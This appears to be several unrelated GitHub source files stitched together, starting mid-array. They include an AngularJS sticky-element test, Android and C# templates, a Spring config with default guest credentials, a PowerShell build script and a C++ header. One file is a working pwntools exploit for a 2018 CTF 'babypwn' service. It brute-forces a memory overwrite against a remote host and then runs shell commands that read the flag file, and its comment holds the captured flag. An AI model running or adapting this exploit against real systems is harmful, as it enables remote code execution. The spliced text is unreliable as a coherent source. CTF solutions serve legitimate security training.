0x90, 0x12, 0x00, 0x00,
}
| {
"pile_set_name": "Github"
} |
describe('$mdSticky service', function() {
beforeEach(module('material.components.sticky'));
it('should compile our cloned element in the same scope', function(done) {
inject(function($compile, $rootScope, $mdSticky, $timeout) {
var scope = $rootScope.$new();
var contentEl = $compile(angular.element(
'<md-content>' +
'<sticky-directive>Sticky Element</sticky-directive>' +
'</md-content>'
))(scope);
document.body.appendChild(contentEl[0]);
var stickyEl = contentEl.children().eq(0);
$mdSticky(scope, stickyEl);
// Flush the `$$sticky.add()` timeout.
$timeout.flush();
// When the current browser, which executes that spec, supports the sticky position, then we will always succeed
// the test, because otherwise our test will fail.
if (stickyEl.css('position')) {
expect(true).toBe(true);
} else {
expect(contentEl.children().length).toBe(2);
var stickyClone = contentEl[0].querySelector('.md-sticky-clone');
expect(stickyClone).toBeTruthy();
expect(angular.element(stickyClone).scope()).toBe(scope);
}
contentEl.remove();
done();
});
});
it('should not compile our self specified clone in the given scope', function(done) {
inject(function($compile, $rootScope, $mdSticky, $timeout) {
var scope = $rootScope.$new();
var cloneScope = $rootScope.$new();
var contentEl = $compile(angular.element(
'<md-content>' +
'<sticky-directive>Sticky Element</sticky-directive>' +
'</md-content>'
))(scope);
var cloneEl = $compile(angular.element(
'<sticky-directive>Self-cloned Element</sticky-directive>'
))(cloneScope);
document.body.appendChild(contentEl[0]);
var stickyEl = contentEl.children().eq(0);
$mdSticky(scope, stickyEl, cloneEl);
// Flush the `$$sticky.add()` timeout.
$timeout.flush();
// When the current browser, which executes that spec, supports the sticky position, then we will always succeed
// the test, because otherwise our test will fail.
if (stickyEl.css('position')) {
expect(true).toBe(true);
} else {
expect(contentEl.children().length).toBe(2);
var stickyClone = contentEl[0].querySelector('.md-sticky-clone');
expect(stickyClone).toBeTruthy();
expect(angular.element(stickyClone).scope()).toBe(cloneScope);
}
contentEl.remove();
done();
});
});
});
/*
* TODO: adjust to work properly with refactors of original code
*/
/*
describe('$mdStickySpec', function() {
var $document, $compile, $rootScope, $mdSticky;
beforeEach(module('material.components.sticky'));
beforeEach(inject(function(_$document_, _$compile_, _$rootScope_, _$mdSticky_) {
$document = _$document_;
$rootScope = _$rootScope_;
$compile = _$compile_;
$mdSticky = _$mdSticky_;
}));
var $container, $firstSticky, $secondSticky, $sticky;
function setup(opts) {
opts = opts || {};
var TEST_HTML = '<md-content><h2>First sticky</h2><h2>Second sticky</h2></md-content>';
var scope = $rootScope.$new();
$container = $compile(TEST_HTML)(scope);
$firstSticky = $container.children().eq(0);
$secondSticky = $container.children().eq(1);
// Wire up our special $container instance;
$firstSticky.controller('mdContent').$element = $container;
$document.find('body').html('');
$document.find('body').append($container);
if(!opts.skipFirst) {
$mdSticky($rootScope.$new(), $firstSticky);
}
if(!opts.skipSecond) {
$mdSticky($rootScope.$new(), $secondSticky);
}
// Overwrite the scrollTop property to return the opts.containerScroll
if(opts.containerScroll) {
var originalProp = $container.prop;
$container.prop = function(prop) {
if(prop == 'scrollTop') {
return opts.containerScroll;
} else {
originalProp.call($container, prop);
}
};
}
// Overwrite children() to provide mock rect positions
if(opts.firstActual) {
$firstSticky[0].getBoundingClientRect = function() { return opts.firstActual; };
}
if(opts.secondActual) {
$secondSticky[0].getBoundingClientRect = function() { return opts.secondActual; };
}
if(opts.firstTarget) {
var $firstOuter = $firstSticky.parent();
$firstOuter[0].getBoundingClientRect = function() { return opts.firstTarget; };
}
if(opts.secondTarget) {
var $secondOuter = $secondSticky.parent();
$secondOuter[0].getBoundingClientRect = function() { return opts.secondTarget; };
}
$sticky = $container.data('$sticky');
if(opts.lastScroll) { $sticky.lastScroll = opts.lastScroll; }
scope.$digest();
}
it('throws an error if uses outside of md-content', inject(function($mdSticky, $compile, $rootScope) {
var html = '<h2>Hello world!</h2>';
function useWithoutMdContent() {
$mdSticky($rootScope.$new(), angular.element(html));
}
expect(useWithoutMdContent).toThrow('$mdSticky used outside of md-content');
}));
it('adds class md-sticky-active when an element would scroll off screen', function() {
var firstActual = { top: -10, bottom: 9, height: 19 };
setup({containerScroll: 10, firstActual: firstActual, skipSecond: true});
$sticky.check();
expect($firstSticky.hasClass('md-sticky-active')).toBe(true);
});
it('removes class md-sticky-active when an element is no longer sticky', function() {
var firstTarget = { top: 1, bottom: 10, height: 9 };
setup({
containerScroll: 10,
lastScroll: 11
});
$firstSticky.addClass('md-sticky-active');
$sticky.check();
expect($firstSticky.hasClass('md-sticky-active')).toBe(false);
});
it('pushes the active element when the next sticky element touches it', function() {
var firstTarget = { top: -10, bottom: 9, height: 19 };
var firstActual = { top: 0, bottom: 19, height: 19 };
var secondActual = { top: 18, bottom: 37, height: 19 };
setup({
containerScroll: 19,
firstActual: firstActual,
firstTarget: firstTarget,
secondActual: secondActual
});
$firstSticky.attr('md-sticky-active', true);
$sticky.check();
expect($firstSticky.data('translatedHeight')).toBe(-1);
});
it('increments the active element when it is pushed off screen', function() {
var firstActual = { top: -9, bottom: 0, height: 10 };
setup({
containerScroll: 10,
firstActual: firstActual
});
$firstSticky.addClass('md-sticky-active');
$sticky.check();
expect($firstSticky.hasClass('md-sticky-active')).toBe(false);
expect($sticky.targetIndex).toBe(1);
});
it('pulls the previous element when the sticky element losens', function() {
var firstActual = { top: -10, bottom: -1, height: 9 };
var firstTarget = { top: -50, bottom: -41, height: 9 };
var secondActual = { top: 0, bottom: 9, height: 9 };
setup({
containerScroll: 30,
lastScroll: 31,
firstActual: firstActual,
firstTarget: firstTarget,
secondTarget: secondActual,
secondActual: secondActual
});
$sticky.targetIndex = 0;
$firstSticky.data('translatedHeight', -10);
$firstSticky.addClass('md-sticky-active');
$sticky.check();
expect($firstSticky.data('translatedHeight')).toBe(-9);
});
});
*/
| {
"pile_set_name": "Github"
} |
<?xml version="1.0"?>
<template
format="1"
revision="1"
name="Service"
description="Creates a new service component and adds it to your Android manifest.">
<parameter
id="packageName"
name="Package name"
type="string"
constraints="package"
default="com.mycompany.myapp" />
<parameter
id="className"
name="Class Name"
type="string"
constraints="class|unique|nonempty"
default="MyService" />
<parameter
id="isExported"
name="Exported"
type="boolean"
default="true"
help="Whether or not components of other applications can invoke the service or interact with it" />
<parameter
id="isEnabled"
name="Enabled"
type="boolean"
default="true"
help="Whether or not the service can be instantiated by the system" />
<globals file="globals.xml.ftl" />
<execute file="recipe.xml.ftl" />
</template>
| {
"pile_set_name": "Github"
} |
eureka:
instance:
instance-id: ${spring.application.name}:${vcap.application.instance_id:${spring.application.instance_id:${random.value}}}
client:
service-url:
defaultZone: http://localhost:8761/eureka/
logging:
level:
org.springframework.web.servlet.DispatcherServlet: DEBUG
spring:
application:
name: service-b
server:
port: 9003
---
spring:
sleuth:
sampler:
probability: ${ZIPKIN_RATE:1}
rabbitmq:
host: localhost
port: 5672
username: guest
password: guest
zipkin:
base-url: http://localhost:9411 | {
"pile_set_name": "Github"
} |
# Packs FVim for Windows platforms
param([string[]]$plat=("win7-x64","win-x64"))
#param([string[]]$plat=("win7-x64","win-x64","linux-x64","osx-x64"))
New-Item -ItemType Directory -Force -Name publish -ErrorAction SilentlyContinue
Remove-Item -Recurse -Force bin\ -ErrorAction SilentlyContinue
Remove-Item publish\*
foreach($i in $plat) {
dotnet publish -f netcoreapp3.1 -c Release --self-contained -r $i
if ($i -eq "win-x64") {
# replace the coreclr hosting exe with an icon-patched one
Copy-Item lib/fvim-win10.exe bin/Release/netcoreapp3.1/$i/publish/FVim.exe
} elseif ($i -eq "win7-x64") {
Copy-Item lib/fvim-win7.exe bin/Release/netcoreapp3.1/$i/publish/FVim.exe
}
Compress-Archive -Path bin/Release/netcoreapp3.1/$i/publish/* -DestinationPath publish/fvim-$i.zip -Force
}
| {
"pile_set_name": "Github"
} |
#!/usr/bin/env python
from pwn import *
import sys
import struct
import hashlib
import random
from threading import Timer
context.log_level='debug'
# OOO{to_know_the_libc_you_must_become_the_libc}
def pow_hash(challenge, solution):
return hashlib.sha256(challenge.encode('ascii') + struct.pack('<Q', solution)).hexdigest()
def check_pow(challenge, n, solution):
h = pow_hash(challenge, solution)
return (int(h, 16) % (2**n)) == 0
def solve_pow(challenge, n):
candidate = 0
while True:
if check_pow(challenge, n, candidate):
return candidate
candidate += 1
def hit():
cmd = 'id;LD_PRELOAD='';'
cmd += 'cat /opt/ctf/babypwn/home/flag;'
cmd += 'ls -al /opt/ctf/babypwn/home/;'
y.sendline( cmd )
print y.recv( 2048 )
host , port = 'e4771e24.quals2018.oooverflow.io' , 31337
y = remote( host , port )
y.recvuntil( ': ' )
challenge = y.recvline().strip()
y.recvuntil( ': ' )
n = int( y.recvline() )
y.sendlineafter( ':' , str( solve_pow(challenge, n) ) )
success( 'Go' )
t = 0.3
y.recvuntil( 'Go\n' )
for i in xrange( 0x10000 ):
y.send( p64( 0xffffffffffffffc8 ) )
p = 0xae77
y.send( p16( p ) )
t = Timer(1.0, hit)
t.start()
y.recvuntil( 'Go' , timeout=1 )
t.cancel()
| {
"pile_set_name": "Github"
} |
using System.Collections.Generic;
using System.Threading.Tasks;
using [Owner].[Module].Models;
namespace [Owner].[Module].Services
{
public interface I[Module]Service
{
Task<List<Models.[Module]>> Get[Module]sAsync(int ModuleId);
Task<Models.[Module]> Get[Module]Async(int [Module]Id, int ModuleId);
Task<Models.[Module]> Add[Module]Async(Models.[Module] [Module]);
Task<Models.[Module]> Update[Module]Async(Models.[Module] [Module]);
Task Delete[Module]Async(int [Module]Id, int ModuleId);
}
}
| {
"pile_set_name": "Github"
} |
/*
* Copyright Red Hat Inc. and/or its affiliates and other contributors
* as indicated by the authors tag. All rights reserved.
*
* This copyrighted material is made available to anyone wishing to use,
* modify, copy, or redistribute it subject to the terms and conditions
* of the GNU General Public License version 2.
*
* This particular file is subject to the "Classpath" exception as provided in the
* LICENSE file that accompanied this code.
*
* This program is distributed in the hope that it will be useful, but WITHOUT A
* WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A
* PARTICULAR PURPOSE. See the GNU General Public License for more details.
* You should have received a copy of the GNU General Public License,
* along with this distribution; if not, write to the Free Software
* Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
* MA 02110-1301, USA.
*/
Null[1k] bug2188 = nothing; | {
"pile_set_name": "Github"
} |
/************************************************************************
**
** Copyright (C) 2012 John Schember <john@nachtimwald.com>
** Copyright (C) 2012 Dave Heiland
** Copyright (C) 2012 Grant Drake
**
** This file is part of Sigil.
**
** Sigil is free software: you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation, either version 3 of the License, or
** (at your option) any later version.
**
** Sigil is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with Sigil. If not, see <http://www.gnu.org/licenses/>.
**
*************************************************************************/
#pragma once
#ifndef CLIPEDITORTREEVIEW_H
#define CLIPEDITORTREEVIEW_H
#include <QtWidgets/QTreeView>
class ClipEditorTreeView : public QTreeView
{
public:
ClipEditorTreeView(QWidget *parent = 0);
~ClipEditorTreeView();
protected:
QModelIndex moveCursor(CursorAction cursorAction, Qt::KeyboardModifiers modifiers);
};
#endif // CLIPEDITORTREEVIEW_H
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.